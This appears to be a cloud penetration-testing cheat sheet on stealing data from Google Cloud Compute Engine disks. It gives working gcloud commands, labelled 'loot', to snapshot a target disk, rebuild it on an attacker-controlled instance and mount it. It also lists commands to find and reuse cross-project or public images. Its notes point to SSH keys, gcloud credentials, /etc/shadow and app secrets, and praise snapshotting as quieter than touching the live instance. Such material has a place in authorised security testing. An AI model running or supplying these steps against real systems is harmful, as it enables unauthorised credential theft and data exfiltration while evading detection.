A persistent disk can be copied into a snapshot or image, and whoever holds compute.disks.createSnapshot (or can read an existing snapshot or image) can reconstruct the disk on an instance they control. This exposes the whole filesystem of the source instance, including service-account keys, SSH keys, and application secrets, without ever logging into it.
Snapshotting and reading a target disk#
# snapshot a disk you can read, then create a new disk from the snapshot
gcloud compute disks snapshot <target-disk> --zone <zone> --snapshot-names loot-snap
gcloud compute disks create loot-disk --source-snapshot loot-snap --zone <zone>
# attach the new disk to your own instance and mount it
gcloud compute instances attach-disk <your-instance> --disk loot-disk --zone <zone>
# on the instance
sudo mkdir /mnt/loot && sudo mount /dev/sdb1 /mnt/loot
Images and cross-project sharing#
# an image built from a disk can be shared or made public by mistake
gcloud compute images list --filter="NOT family~'debian|ubuntu|cos'"
gcloud compute images describe <image> --format='value(sourceDisk)'
# create a disk from a readable image and mount as above
gcloud compute disks create loot-disk --image <image> --zone <zone>
Exploitation notes#
- Mount read-only and look first for
/root/.config/gcloud,/home/*/.ssh,/etc/shadow, and app config with embedded secrets. - A snapshot or image shared cross-project (or to
allAuthenticatedUsers) is reachable from an attacker project, so enumerate images and snapshots you do not own. - Snapshotting is quieter than touching the live instance and leaves the source running untouched.
Tools#
- gcloud compute (
disks snapshot,disks create --source-snapshot,instances attach-disk): the full restore path. - gsutil: pull an exported image from the bucket it lands in.